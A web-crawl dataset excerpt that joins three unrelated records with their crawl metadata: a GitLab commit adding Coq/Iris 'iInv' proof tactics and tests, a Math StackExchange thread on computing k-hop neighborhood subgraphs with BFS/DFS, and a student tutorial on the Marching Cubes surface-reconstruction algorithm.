envs_entails_eq => ???? HΔ. rewrite envs_lookup_delete_list_sound //. rewrite envs_app_singleton_sound //=. rewrite HΔ //= affinely_persistently_if_elim //=. rewrite -sep_assoc. by eapply elim_inv. Qed. End bi_tactics. Section sbi_tactics. ... ...\n From iris.proofmode Require Import coq_tactics. From iris.proofmode Require Import base intro_patterns spec_patterns sel_patterns. From iris.bi Require Export bi big_op. From stdpp Require Import namespaces. From iris.proofmode Require Export classes notation. From iris.proofmode Require Import class_instances. From stdpp Require Import hlist pretty. ... ... @@ -214,6 +215,14 @@ Tactic Notation \"iAssumption\" := \|fail \"iAssumption:\" Q \"not found\"] end. Tactic Notation \"iAssumptionListCore\" := repeat match goal with \| \|- envs_lookup_delete_list _ ?ils ?p = Some (_, ?P :: ?Ps, _) => eapply envs_lookup_delete_list_cons; [by iAssumptionCore \|] \| \|- envs_lookup_delete_list _ ?ils ?p = Some (_, [], _) => eapply envs_lookup_delete_list_nil end. (* * False ) Tactic Notation \"iExFalso\" := apply tac_ex_falso. ... ... @@ -1864,6 +1873,80 @@ Tactic Notation \"iMod\" open_constr(lem) \"as\" \"(\" simple_intropattern(x1) Tactic Notation \"iMod\" open_constr(lem) \"as\" \"%\" simple_intropattern(pat) := iDestructCore lem as false (fun H => iModCore H; iPure H as pat). Tactic Notation \"iAssumptionInv\" constr(N) := let rec find Γ i P := lazymatch Γ with \| Esnoc ?Γ ?j ?P' => first [assert (IntoInv P' N) by apply _; unify P P'; unify i j\|find Γ i P] end in match goal with \| \|- envs_lookup_delete _ ?i (Envs ?Γp ?Γs) = Some (_, ?P, _) => first [is_evar i; fail 1 \| env_reflexivity] \| \|- envs_lookup_delete _ ?i (Envs ?Γp ?Γs) = Some (_, ?P, _) => is_evar i; first [find Γp i P \| find Γs i P]; env_reflexivity end. Tactic Notation \"iInvCore\" constr(N) \"with\" constr(Hs) \"as\" tactic(tac) constr(Hclose) := let hd_id := fresh \"hd_id\" in evar (hd_id: ident); let hd_id := eval unfold hd_id in hd_id in let Htmp1 := iFresh in let Htmp2 := iFresh in let patback := intro_pat.parse_one Hclose in eapply tac_inv_elim with _ _ (hd_id :: Hs) Htmp1 _ _ N _ _ _ _; first eapply envs_lookup_delete_list_cons; swap 2 3; [ iAssumptionInv N \|\| fail \"iInv: invariant\" N \"not found\" \| apply _ \|\| let I := match goal with \|- ElimInv _ ?N ?I _ _ _ _ => I end in fail \"iInv: cannot eliminate invariant \" I \" with namespace \" N \| iAssumptionListCore \|\| fail \"iInv: other assumptions not found\" \| try (split_and?; solve [ fast_done \| solve_ndisj ]) \| env_reflexivity \|]; let pat := constr:(IList [[IIdent Htmp2; patback]]) in iDestruct Htmp1 as pat; tac Htmp2. Tactic Notation \"iInvCore\" constr(N) \"as\" tactic(tac) constr(Hclose) := let tl_ids := fresh \"tl_ids\" in evar (tl_ids: list ident); let tl_ids := eval unfold tl_ids in tl_ids in iInvCore N with tl_ids as (fun H => tac H) Hclose. Tactic Notation \"iInvCoreParse\" constr(N) \"with\" constr(Hs) \"as\" tactic(tac) constr(Hclose) := let Hs := words Hs in let Hs := eval vm_compute in (INamed <\\$> Hs) in iInvCore N with Hs as (fun H => tac H) Hclose. Tactic Notation \"iInv\" constr(N) \"as\" constr(pat) constr(Hclose) := iInvCore N as (fun H => iDestructHyp H as pat) Hclose. Tactic Notation \"iInv\" constr(N) \"as\" \"(\" simple_intropattern(x1) \")\" constr(pat) constr(Hclose) := iInvCore N as (fun H => iDestructHyp H as (x1) pat) Hclose. Tactic Notation \"iInv\" constr(N) \"as\" \"(\" simple_intropattern(x1) simple_intropattern(x2) \")\" constr(pat) constr(Hclose) := iInvCore N as (fun H => iDestructHyp H as (x1 x2) pat) Hclose. Tactic Notation \"iInv\" constr(N) \"as\" \"(\" simple_intropattern(x1) simple_intropattern(x2) simple_intropattern(x3) \")\" constr(pat) constr(Hclose) := iInvCore N as (fun H => iDestructHyp H as (x1 x2 x3) pat) Hclose. Tactic Notation \"iInv\" constr(N) \"as\" \"(\" simple_intropattern(x1) simple_intropattern(x2) simple_intropattern(x3) simple_intropattern(x4) \")\" constr(pat) constr(Hclose) := iInvCore N as (fun H => iDestructHyp H as (x1 x2 x3 x4) pat) Hclose. Tactic Notation \"iInv\" constr(N) \"with\" constr(Hs) \"as\" constr(pat) constr(Hclose) := iInvCoreParse N with Hs as (fun H => iDestructHyp H as pat) Hclose. Tactic Notation \"iInv\" constr(N) \"with\" constr(Hs) \"as\" \"(\" simple_intropattern(x1) \")\" constr(pat) constr(Hclose) := iInvCoreParse N with Hs as (fun H => iDestructHyp H as (x1) pat) Hclose. Tactic Notation \"iInv\" constr(N) \"with\" constr(Hs) \"as\" \"(\" simple_intropattern(x1) simple_intropattern(x2) \")\" constr(pat) constr(Hclose) := iInvCoreParse N with Hs as (fun H => iDestructHyp H as (x1 x2) pat) Hclose. Tactic Notation \"iInv\" constr(N) \"with\" constr(Hs) \"as\" \"(\" simple_intropattern(x1) simple_intropattern(x2) simple_intropattern(x3) \")\" constr(pat) constr(Hclose) := iInvCoreParse N with Hs as (fun H => iDestructHyp H as (x1 x2 x3) pat) Hclose. Tactic Notation \"iInv\" constr(N) \"with\" constr(Hs) \"as\" \"(\" simple_intropattern(x1) simple_intropattern(x2) simple_intropattern(x3) simple_intropattern(x4) \")\" constr(pat) constr(Hclose) := iInvCoreParse N with Hs as (fun H => iDestructHyp H as (x1 x2 x3 x4) pat) Hclose. Hint Extern 0 (_ ⊢ _) => iStartProof. ( Make sure that by and done solve trivial things in proof mode ) ... ...\n From iris.proofmode Require Import tactics. From iris.base_logic Require Import base_logic lib.invariants. From iris.base_logic Require Import base_logic. From iris.base_logic.lib Require Import invariants cancelable_invariants na_invariants. Section base_logic_tests. Context {M : ucmraT}. ... ... @@ -48,7 +49,7 @@ Section base_logic_tests. End base_logic_tests. Section iris_tests. Context `{invG Σ}. Context `{invG Σ, cinvG Σ, na_invG Σ}. Lemma test_masks N E P Q R : ↑N ⊆ E → ... ... @@ -58,4 +59,89 @@ Section iris_tests. iApply (\"H\" with \"[% //] [\\$] [> HQ] [> //]\"). by iApply inv_alloc. Qed. Lemma test_iInv_1 N P: inv N (bi_persistently P) ={⊤}=∗ ▷ P. Proof. iIntros \"#H\". iInv N as \"#H2\" \"Hclose\". iMod (\"Hclose\" with \"H2\"). iModIntro. by iNext. Qed. Lemma test_iInv_2 γ p N P: cinv N γ (bi_persistently P) ∗ cinv_own γ p ={⊤}=∗ cinv_own γ p ∗ ▷ P. Proof. iIntros \"(#?&?)\". iInv N as \"(#HP&Hown)\" \"Hclose\". iMod (\"Hclose\" with \"HP\"). iModIntro. iFrame. by iNext. Qed. Lemma test_iInv_3 γ p1 p2 N P: cinv N γ (bi_persistently P) ∗ cinv_own γ p1 ∗ cinv_own γ p2 ={⊤}=∗ cinv_own γ p1 ∗ cinv_own γ p2 ∗ ▷ P. Proof. iIntros \"(#?&Hown1&Hown2)\". iInv N as \"(#HP&Hown2)\" \"Hclose\". iMod (\"Hclose\" with \"HP\"). iModIntro. iFrame. by iNext. Qed. Lemma test_iInv_4 t N E1 E2 P: ↑N ⊆ E2 → na_inv t N (bi_persistently P) ∗ na_own t E1 ∗ na_own t E2 ⊢ \|={⊤}=> na_own t E1 ∗ na_own t E2 ∗ ▷ P. Proof. iIntros (?) \"(#?&Hown1&Hown2)\". iInv N as \"(#HP&Hown2)\" \"Hclose\". iMod (\"Hclose\" with \"[HP Hown2]\"). { iFrame. done. } iModIntro. iFrame. by iNext. Qed. ( test named selection of which na_own to use ) Lemma test_iInv_5 t N E1 E2 P: ↑N ⊆ E2 → na_inv t N (bi_persistently P) ∗ na_own t E1 ∗ na_own t E2 ={⊤}=∗ na_own t E1 ∗ na_own t E2 ∗ ▷ P. Proof. iIntros (?) \"(#?&Hown1&Hown2)\". iInv N with \"Hown2\" as \"(#HP&Hown2)\" \"Hclose\". iMod (\"Hclose\" with \"[HP Hown2]\"). { iFrame. done. } iModIntro. iFrame. by iNext. Qed. Lemma test_iInv_6 t N E1 E2 P: ↑N ⊆ E1 → na_inv t N (bi_persistently P) ∗ na_own t E1 ∗ na_own t E2 ={⊤}=∗ na_own t E1 ∗ na_own t E2 ∗ ▷ P. Proof. iIntros (?) \"(#?&Hown1&Hown2)\". iInv N with \"Hown1\" as \"(#HP&Hown1)\" \"Hclose\". iMod (\"Hclose\" with \"[HP Hown1]\"). { iFrame. done. } iModIntro. iFrame. by iNext. Qed. ( test robustness in presence of other invariants ) Lemma test_iInv_7 t N1 N2 N3 E1 E2 P: ↑N3 ⊆ E1 → inv N1 P ∗ na_inv t N3 (bi_persistently P) ∗ inv N2 P ∗ na_own t E1 ∗ na_own t E2 ={⊤}=∗ na_own t E1 ∗ na_own t E2 ∗ ▷ P. Proof. iIntros (?) \"(#?&#?&#?&Hown1&Hown2)\". iInv N3 with \"Hown1\" as \"(#HP&Hown1)\" \"Hclose\". iMod (\"Hclose\" with \"[HP Hown1]\"). { iFrame. done. } iModIntro. iFrame. by iNext. Qed. ( iInv should work even where we have \"inv N P\" in which P contains an evar *) Lemma test_iInv_8 N : ∃ P, inv N P ={⊤}=∗ P ≡ True ∧ inv N P. Proof. eexists. iIntros \"#H\". iInv N as \"HP\" \"Hclose\". iMod (\"Hclose\" with \"[\\$HP]\"). auto. Qed. End iris_tests.\nMarkdown is supported\n0% or\nYou are about to add 0 people to the discussion. Proceed with caution.\nFinish editing this message first!" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.5415086,"math_prob":0.8977903,"size":14945,"snap":"2020-45-2020-50","text_gpt3_token_len":5475,"char_repetition_ratio":0.14503714,"word_repetition_ratio":0.3265221,"special_character_ratio":0.36754766,"punctuation_ratio":0.21372688,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.994616,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-12-06T01:23:43Z\",\"WARC-Record-ID\":\"<urn:uuid:e6149a03-8710-4530-98d9-7bba967ac734>\",\"Content-Length\":\"743306\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d7781d66-7b25-4d51-b64d-52470f78902d>\",\"WARC-Concurrent-To\":\"<urn:uuid:27ac6332-d1a8-490f-947a-7a2d965ffd03>\",\"WARC-IP-Address\":\"139.19.205.205\",\"WARC-Target-URI\":\"https://gitlab.mpi-sws.org/gpirlea/iris/-/commit/1e249d7541fee56a8b49804b2e2fa4f0eb3a22d1\",\"WARC-Payload-Digest\":\"sha1:THFGGF654HLVBRSLGO3TNLIDLUDEPQJK\",\"WARC-Block-Digest\":\"sha1:MGDOTJLMIQINC3D3L7OTQVG3IQBG4LRQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141753148.92_warc_CC-MAIN-20201206002041-20201206032041-00046.warc.gz\"}"}
https://math.stackexchange.com/questions/301163/the-time-complexity-of-finding-a-neighborhood-graph-provided-an-unordered-adjace	[ "The time complexity of finding a neighborhood graph provided an unordered adjacency matrix\n\nImagine I have an unordered adjacency matrix for some graph $G$ with a set of vertices $V$ and a set of edges $E$. I would like to find a subset of edges that determines a $k$-hop neighborhood graph about a chosen vertex $v_i \\in V$ (i.e. a graph consisting of the vertices and edges \"reachable\" in $k$ edge-wise hops from $v_i$ and the set of all edges between these vertices that exist in $G$).\n\nWe allow any standard data structure for $G$. Can I achieve a linear or near-linear time complexity for returning an adjacency matrix for this neighborhood graph as a function of the number of vertices in the neighborhood graph $\|\|V_{neighborhood}\|\|$? What is the best known algorithm for finding these neighborhood graphs?\n\nWhat if we know something about the structure of the graph, perhaps that we're on a rectangular or hexagonal lattice?\n\n• You could use Dijkstra's algorithm to solve the shortest path problem from $v_i$ and then pick those vertices with path length at most $k$. Complexity will be $O(\|E\|+\|V\|\\log \|V\|)$ – polkjh Feb 12 '13 at 12:56\n• @polkjh That should work, so a \"yes\" for the \"almost linear time\". – R.H. Feb 12 '13 at 13:10\n• Is $v_i$ fixed? Or you want these $k$-hop neighbourhoods for all vertices? – Paresh Feb 12 '13 at 13:11\n• If it is fixed, you can do it in linear time. – Paresh Feb 12 '13 at 13:11\n• @Paresh Thanks - Do you know if the linear time algorithm has a name? And if we want them for all vertices, can we do better than to repeatedly apply the linear time algorithm for a single vertex? – R.H. Feb 12 '13 at 13:13\n\nYou can do a simple Breadth First Search from the start node. It starts with the first node, and adds all its neighbours to a queue. Then, it de-queues each node, finds its unvisited neighbors to the queue and marks the current node visited. The key observation here is that the all the vertices that are at some distance $d$ from the start vertex, are in one contiguous block in the FIFO queue. If you can keep track of how deep you are in the queue, you can stop after $k$-levels. More specifically, the moment you de-queue a vertex that you know is at a distance of $k$ from the start node, you don't have to enqueue any more, just go on till the queue is empty, and you are done. Using BFS in this way will give you vertices in increasing order of hops/distance from the start.\n\nYou can also adapt the Depth First Search algorithm for this, by limiting the depth to $k$. This is easier to code, but won't give vertices in order of distances from the start. So, for some of the discovered vertices, you may later find a shorter path. But no vertex will have to be discarded after being discovered in either methods.\n\nBoth these algorithms are linear in the size of the graph - $O(\|V\|+ \|E\|)$ even if they traverse the whole graph. But since you are stopping much sooner, they would be very efficient. More specifically, they will visit only those edges and vertices that are actually in the $k$-hop neighborhood, and nothing more -- $O(\|V_s\|+\|E_s\|)$, where $V_s$ and $E_s$ are the number of vertices and edges in the $k$-neighborhood subgraph. Another consideration can be that if $k$ is small but vertex degrees are very large, you might prefer DFS.\n\nk-hops for all vertices:\nIf the graph is sparse, that is, $\|E\| = O(\|V\|)$, then running a BFS/DFS from each node should be the best option asymptotically. Rectangular or hexagonal lattice graphs are sparse graphs. So, complexity would be $O(\|V\|^2)$. I do not think that there should be anything asymptotically faster than this for sparse graphs, though there may be other solutions that are more efficient (but still quadratic).\n\nIf the graph is not sparse, you can compute the $k$-th power of the adjacency matrix in $O(n^{\\omega}\\log k)$ time, where $\\omega$ is the constant of matrix multiplication. The current best known algorithm has $\\omega = 2.3727$. But in practice, the simple cubic matrix multiplication ($\\omega = 3$) is the most efficient. You could also use the all-pair shortest path algorithm by Floyd-Warshall and find those vertices that have distance atmost $k$. This is $O(\|V\|^3)$\n\n• Wouldn't we expect that the time for find each subgraph with a BFS or DFS with bounded depth $k$, would be $O(\|\|E_s\|\|+\|\|V_s\|\|)$ where $E_s$ and $E_s$ are the ultimate number of edges and vertices in the subgraph (and not the full graph, $G$)? – R.H. Feb 12 '13 at 15:48\n• You are right. This is exactly what I meant when I said \"More specifically, they will visit only those edges and vertices that are actually in the k-hop neighborhood, and nothing more.\" I'll add your description to this line as it is more formal. – Paresh Feb 12 '13 at 15:53\n• Thus, our final time complexity for computing the $k$-hop subgraphs for all vertices would be $\\approx O(\|\|V_G\|\|)$ for fixed $k$, right? – R.H. Feb 12 '13 at 15:54\n• I think this is a bit more involved. In the graphs you mention - rectangular or hexagonal lattices - the time complexity would indeed be $O(\|V_G\|)$. However, for general graphs, it could be quadratic - it will depend on the degree distribution of the graphs and maybe other things. The same edges/vertices may be visited multiple times when running BFS/DFS from different vertices. – Paresh Feb 12 '13 at 19:18" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9348392,"math_prob":0.99321777,"size":2549,"snap":"2019-43-2019-47","text_gpt3_token_len":609,"char_repetition_ratio":0.11866405,"word_repetition_ratio":0.0,"special_character_ratio":0.2381326,"punctuation_ratio":0.099804305,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99931884,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-10-24T02:01:41Z\",\"WARC-Record-ID\":\"<urn:uuid:258b2717-d688-4353-b89a-fe714d3d0fb2>\",\"Content-Length\":\"152490\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:02e349d2-4f46-44b1-8fa9-5894007586e9>\",\"WARC-Concurrent-To\":\"<urn:uuid:93c089d9-0b01-4a8b-95e2-b66de11c6594>\",\"WARC-IP-Address\":\"151.101.1.69\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/301163/the-time-complexity-of-finding-a-neighborhood-graph-provided-an-unordered-adjace\",\"WARC-Payload-Digest\":\"sha1:ME6UFD2IGC7ZEXAKFAR5JVARR6XGM5HW\",\"WARC-Block-Digest\":\"sha1:PYCWPJV2IRY7ZULFVYAJ2AHL36G2UJWB\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-43/CC-MAIN-2019-43_segments_1570987838289.72_warc_CC-MAIN-20191024012613-20191024040113-00458.warc.gz\"}"}
https://www.cs.carleton.edu/cs_comps/0405/shape/marching_cubes.html	[ "# An Implementation of the Marching Cubes Algorithm\n\nBy Ben Anderson\n\n#### Abstract:\n\nThe Marching cubes algorithm can be described as follows:\nGiven an object, a test to determine whether an arbitrary point is within the object, and bounds within which the object exists:\nDivide the space within the bounds into an arbitrary number of cubes. Test the corners of every cube for whether they are inside the object. For every cube where some corners are inside and some corners are outside the object, the surface must pass through that cube, intersecting the edges of the cube in between corners of opposite classification. Draw a surface within each cube connecting these intersections. You have your object.\n\n#### Full Text:\n\nOnce we have masked images of every slice of the object we are to reconstruct (ie, a black and white image where black is inside and white is outside the object), we can go about reconstructing the original surface. One way of doing this is to use the Marching Cubes algorithm.\n\n### In 2D:\n\nTo understand how the Marching Cubes algorithm works, let's take a 2D case and what might be called the \"Marching Squares\" algorithm. Here's our object:", null, "Now, let's divide it into squares:", null, "We can tell by looking at it which vertices are in, and which are outside of the object, so let's label them, red for inside, blue for out:", null, "Now we know that somewhere on each edge between an inside corner and an outside one the original surface must intersect our squares (purple dots):", null, "Within each square, let's connect the purple dots. Now we have an approximation of the original surface (the purple lines):", null, "## In 3D:\n\nImplementing the algorithm in 3D works much the same as it did in 2D. For slice data like the Visible Human Male dataset, you stack the slices in 3D, knowing each slice is 1mm or 3 pixels appart. In order to be able to test the vertices of each cube, you must choose your cube size to align with the slices, either using 1mm cubes (or rectangles 1mm high and 1/3rd of a mm thick since pixels are only 1/3rd of a mm wide), or some multiple of 1mm cubes (ie 2mm or 3 mm) so that each horizontal side of your cubes falls on the plane of a slice. You then can test each vertex by going to the masked slices corresponding to each cube's top and bottom z values. You now have a bunch of cubes with labeled corners. For each cube, you know the surface intersects the cube along the edges in between corners of opposing classifications. Each cube should look something like this:", null, "In 2D to approximate the surface we simply had to draw lines between each purple dot. In 3D this would give us a strange line drawing like this:", null, "Which doesn't look very much like a piece of a circle. Instead, what we want to do is triangulate the cube where filled triangles will represent the surface passing through the cube. Something like\nthis:", null, "However, you'll note that this isn't as easy as drawing a line connecting all the purple dots in a square. For one thing, a triangle connects 3 dots, and for another, it's hard to tell which three dots to connect in which triangle. If you just randomly connected dots in a triangle, you might get something like:", null, "Which really doesn't look any good. The other issue is that since you're going to be doing this to a lot of cubes, you probably want whatever solution you find to be fast. And what is really fast? A lookup table. Consider a cube. Each corner can be either inside or outside the object. There are eight corners. That means you're working with 28, or 256 different possibilities for what a cube might look like, which is definitely feasible. Triangulating each of those possibilities might be a pain, but luckily, given identical triangulations for cubes whose vertex classification is opposite of eachother, rotations and mirroring, there are in fact only 14 unique triangulations:", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "Each triangulation contains zero to four triangles and can be stored as a list of triangles where each triangle is a list of 3 numbers which are indexes to the edges on which each triangles vertices lie. for an example, here's some ASCII art taken from the code labeling each edge and each corner with an index:\n\n// v7_______e6_____________v6\n// /\| /\|\n// / \| / \|\n// e7/ \| e5/ \|\n// /___\|______e4_________/ \|\n// v4\| \| \|v5 \|e10\n// \| \| \| \|\n// \| \|e11 \|e9 \|\n// e8\| \| \| \|\n// \| \|_________________\|___\|\n// \| / v3 e2 \| /v2\n// \| / \| /\n// \| /e3 \| /e1\n// \|/_____________________\|/\n// v0 e0 v1\n\nAs you can see, the triangle in the second example might be defined as [e3,e2,e11]. A cube can be looked up in the table by taking the classification of each vertex and converting it to 0's and 1's and then forming a binary number. Again, using the same cube as an example, v3 is inside the shape and every other vertex is out. This results in a binary number of 00010000 or 23 or 8, so the entry for 8 in the lookup table might be:\n\n8: [e1,e2,e11]\n\nIn the actual code, it doesn't look quite like that, but you get the idea.\n\nAnd so, in order to compute the triangulation for the entire image, you do this for every cube, offset the triangulations to their appropriate locations in the space and voila!", null, "As you can tell, this is a blocky rendering of a foot. You were probably hoping for somthing better. Well, luckily, this is only rendered using 1/3rd of the slices, (fairly big cubes). To overcome this, the first thing you might think of is to make the cubes smaller resulting in a more accurate rendering of a foot:", null, "Well, that's better, but as you can tell, it's still fairly blocky. Well, we can do better. To understand how, let's go back to 2D.\n\nHere's our approximation in 2D from earlier:", null, "Now, without even using smaller cubes, we can come up with a much better approximation of this surface, and one that's much smoother (the surface right now is made up of facets meeting at 45° angles). How can we do that? Like this:", null, "The only difference here is that the purple dots have been moved. Instead of placing the purple dots midway between the red and the blue ones, they have been moved to meet up with the actual intersection of the surface with the edges in question. This results in a more accurate representation of the surface, as well as a smoother one using the same number of cubes as before. Let's see what that looks like in 3D:", null, "Now, that is smoother, and you can almost make out the toenail ont he big toe, but if you're saying to yourself, \"That's still pretty blocky,\" you'd be right.\n\nThe main problem is that while in 2D we can compute exact intersections for every edge of our shape, given only slice data, in 3D, we cannot do this. Take this picture for example:", null, "This is a side view of a row of cubes. The top line is a slice, as is the bottom. The problem is that while we can compute exact intersections on a given slice, in between, we have no idea where the\nobject lies. While the actual surface is represented by the dotted red line, in between layers, we have no information as to where that line intersects the cubes. The only choice is to guess and place it midway between slices given that in any single cube, the only information you have between layers is that on top of the cube every point is inside and on the bottom, every point is out. This results in a stairstepping effect particularly apparent when the surface becomes more horizontal (closer to parallel with the slices) and there is a greater horizontal distance (a larger number of cubes) between intersections with the cutting planes. What we get is an effect like this:", null, "Luckily, there's still more we can do.\n\nOne step would be to take a trick from CS 317 (Graphics) and use Gouraud Shading to render the object. For those of you who don't know what that is, you'll have to take Jack Goldfeather's course next year. A basic explanation is that for each vertex, you can compute an average surface normal at that point by averaging the normals of all triangles sharing that vertex. At each vertex then, you can use that normal to compute the lighting at that point. Given the lighting at each vertex of a triangle, you can interpolate for every point between to determine how bright the surface is at that point. The overall effect is to blur the appearance of edges without changing the actual geometry of the object. Doing this we get:", null, "Which is smoother still, but still not quite what we'd like. To do better we're going to have to work with a little post-processing.\n\n## Coloring the Visible Human\n\nSo far all the images we've seen have been red. As you know, feet are not red. There are two basic options for coloring reconstructions. One is to simply use a more appropriate color:", null, "As you can see, this is significantly more foot like. The second option is to use the actual color of the images just inside the point of intersection:", null, "This also looks footlike. The bronze color from the first image was actually taken from one of the rgb values in the back of the foot. However, as you can see from the blue tint on the front of the foot, taking the actual rgb values has the unfortunate side effect of grabbing values that contain some of the blue from the ice. This is partly because of the fact that the threshold for being outside the object is 60% blue (rather than 50%) and partly because the rgb values for vertices in between slices are arbitrarily taken from one of the slices and sometimes that slice at that xy value is blue.\n\n## Analysis:\n\nThe marching cubes algorithm is very well suited to surface reconstruction. Given a surface for which you can test arbitrary points for whether they fall inside or outside the object, it's only weakness is occasional extraneous triangles. It is fast (linear increases in time as area increases), accurate and works with arbitrarily shaped objects. With slice data it's only additional weakness is a stairstepping effect when the surface approaches parallel with the slices. Both of these weaknesses can be overcome with post processing.\n\nFor much cooler pictures, check out our results.\n\nReferences:\n1. Lorensen, W. E. and Cline, H. E., \"Marching Cubes: A High Resolution 3D Surface Construction Algorithm,\" Computer Graphics, vol. 21, no. 3, pp. 163-169, July 1987.\n2. Lorensen, W. E., \"Marching Through the Visible Man,\" IEEE Visualization, Proceedings of the 6th conference on Visualization '95, pp. 368-373. 1994.\n3. Lorensen, W. E., Schroeder, W. J. and Zarge, Jonathan A., \"Decimation of Triangle Meshes,\" Internationa Conference on Computer Graphics and Interactive Techniques, Proceedings of the 19th annual conference on Computer Graphics and Interactive Techniques, pp. 65-70. 1992.\n4. Taubin, G., \"Curve and Surface Smoothing without Shrinkage,\" IBM Research Report RC-19536, September 1994." ]	[ null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/origobj.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/gridobj.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/labeledobj.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/purpledobj.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/connectedobj.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/examplecube.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/cubeline.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/triangulatedcube.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/badtriangulation.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/16vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/15vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/11vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/13vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/10vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/14vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/17vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/3vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/4vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/5vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/6vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/7vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/8vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/9vert.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/blockyfoot.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/blockyfoot1.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/connectedobj.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/2Dintersected.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/intersectedfoot.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/stairstep.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/stairstepfoot.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/redinterp1.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/footsmoothbronze.jpg", null, "https://www.cs.carleton.edu/cs_comps/0405/shape/images/footsmoothcolor.jpg", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9247672,"math_prob":0.92705435,"size":10685,"snap":"2022-40-2023-06","text_gpt3_token_len":2605,"char_repetition_ratio":0.12105608,"word_repetition_ratio":0.007360673,"special_character_ratio":0.23855872,"punctuation_ratio":0.11665099,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96859103,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66],"im_url_duplicate_count":[null,3,null,3,null,3,null,3,null,6,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,6,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-10-01T07:55:59Z\",\"WARC-Record-ID\":\"<urn:uuid:f9ff1d1e-69d2-4bd9-abe7-4a7b1c3074fd>\",\"Content-Length\":\"21106\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ea39fcab-f0fc-406b-89f7-ee7d8908e61c>\",\"WARC-Concurrent-To\":\"<urn:uuid:891e8a2a-f5a5-4d6d-8ca0-0dc5f88e5ed8>\",\"WARC-IP-Address\":\"137.22.5.8\",\"WARC-Target-URI\":\"https://www.cs.carleton.edu/cs_comps/0405/shape/marching_cubes.html\",\"WARC-Payload-Digest\":\"sha1:6V4WZQLVGNEGV7VFY2QWJJN3ZO6DL32R\",\"WARC-Block-Digest\":\"sha1:H4I3S2V2XEXABSHARWAVAIE4WLUAGFNY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030335573.50_warc_CC-MAIN-20221001070422-20221001100422-00055.warc.gz\"}"}
